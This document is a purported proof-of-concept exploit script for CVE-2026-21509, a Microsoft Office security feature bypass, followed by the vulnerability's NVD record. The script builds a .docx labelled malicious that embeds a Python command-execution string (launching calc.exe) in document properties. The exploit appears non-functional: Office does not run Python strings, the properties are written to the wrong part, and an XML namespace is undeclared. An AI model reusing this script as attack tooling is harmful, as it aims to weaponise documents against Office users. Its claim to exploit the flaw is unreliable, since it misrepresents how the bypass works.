CVE-2026-21509

# CVE-2026-21509 PoC - Microsoft Office Security Feature Bypass # This PoC demonstrates the security feature bypass in Microsoft Office # Note: This is for educational and testing purposes only import zipfile import xml.etree.ElementTree as ET import os import shutil def create_malicious_office_document(): """ Create a malicious Office document that exploits CVE-2026-21509 The vulnerability allows bypassing security decisions through untrusted inputs """ # Create a base Office document structure template_path = "template.docx" output_path = "CVE-2026-21509-poc.docx" # Document properties XML with malicious content doc_props_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Properties xmlns="http://schemas.openxmlformats.org/officeDocument/2006/custom-properties"> <property name="VulnerableProperty" fmtid="{D5CDD505-2E9C-101B-9397-08002B2CF9AE}"> <vt:lpwstr>__import__('os').system('calc.exe')</vt:lpwstr> </property> </Properties>''' # Core XML with malicious metadata core_xml = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <cp:coreProperties xmlns:cp="http://schemas.openxmlformats.org/package/2006/metadata/core-properties"> <dc:creator xmlns:dc="http://purl.org/dc/elements/1.1/">Attacker</dc:creator> <dc:title>CVE-2026-21509 Test Document</dc:title> <dc:description>Malicious document exploiting security feature bypass</dc:description> </cp:coreProperties>''' # Create the malicious document with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as docx: # Add malicious core.xml docx.writestr('docProps/core.xml', core_xml) # Add malicious custom properties docx.writestr('docProps/app.xml', doc_props_xml) # Add minimal document content docx.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="UTF-8"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/word/document.xml" ContentType="application/vnd.openxmlformats-officedocument.wordprocessingml.document.main+xml"/> </Types>''') docx.writestr('_rels/.rels', '''<?xml version="1.0" encoding="UTF-8"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.openxmlformats.org/officeDocument/2006/relationships/officeDocument" Target="word/document.xml"/> </Relationships>''') docx.writestr('word/document.xml', '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <w:document xmlns:w="http://schemas.openxmlformats.org/wordprocessingml/2006/main"> <w:body> <w:p> <w:r> <w:t>CVE-2026-21509 Test Document - Security Feature Bypass</w:t> </w:r> </w:p> </w:body> </w:document>''') print(f"[+] Created malicious document: {output_path}") print("[!] This document attempts to bypass Microsoft Office security features") return output_path def analyze_vulnerability(): """Analyze and display CVE-2026-21509 details""" print("=" * 60) print("CVE-2026-21509 Analysis") print("=" * 60) print("Vulnerability Type: Security Feature Bypass") print("Affected Product: Microsoft Office") print("CVSS Score: 7.8 (High)") print("CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H") print("\nAttack Vector: Local (requires local access)") print("Prerequisites: None (no authentication required)") print("User Interaction: Required (user must open document)") print("Impact: High confidentiality, integrity, and availability impact") print("=" * 60) if __name__ == "__main__": analyze_vulnerability() create_malicious_office_document() print("\n[!] Disclaimer: This PoC is for educational and authorized testing purposes only")

{"cve": {"id": "CVE-2026-21509", "sourceIdentifier": "[email protected]", "published": "2026-01-26T18:16:38.540", "lastModified": "2026-02-11T15:40:33.473", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Reliance on untrusted inputs in a security decision in Microsoft Office allows an unauthorized attacker to bypass a security feature locally."}, {"lang": "es", "value": "Dependencia de entradas no confiables en una decisión de seguridad en Microsoft Office permite a un atacante no autorizado eludir una característica de seguridad localmente."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "cisaExploitAdd": "2026-01-26", "cisaActionDue": "2026-02-16", "cisaRequiredAction": "Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.", "cisaVulnerabilityName": "Microsoft Office Security Feature Bypass Vulnerability", "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-807"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "72324216-4EB3-4243-A007-FEF3133C7DF9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "0FBB0E61-7997-4F26-9C07-54912D3F1C10"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21509", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vicarius.io/vsociety/posts/cve-2026-21509-detection-script-microsoft-office-security-feature-bypass-vulnerability", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Third Party Advisory"]}, {"url": "https://www.vicarius.io/vsociety/posts/cve-2026-21509-mitigation-script-microsoft-office-security-feature-bypass-vulnerability", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mitigation", "Third Party Advisory"]}, {"url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-21509", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["US Government Resource"]}]}}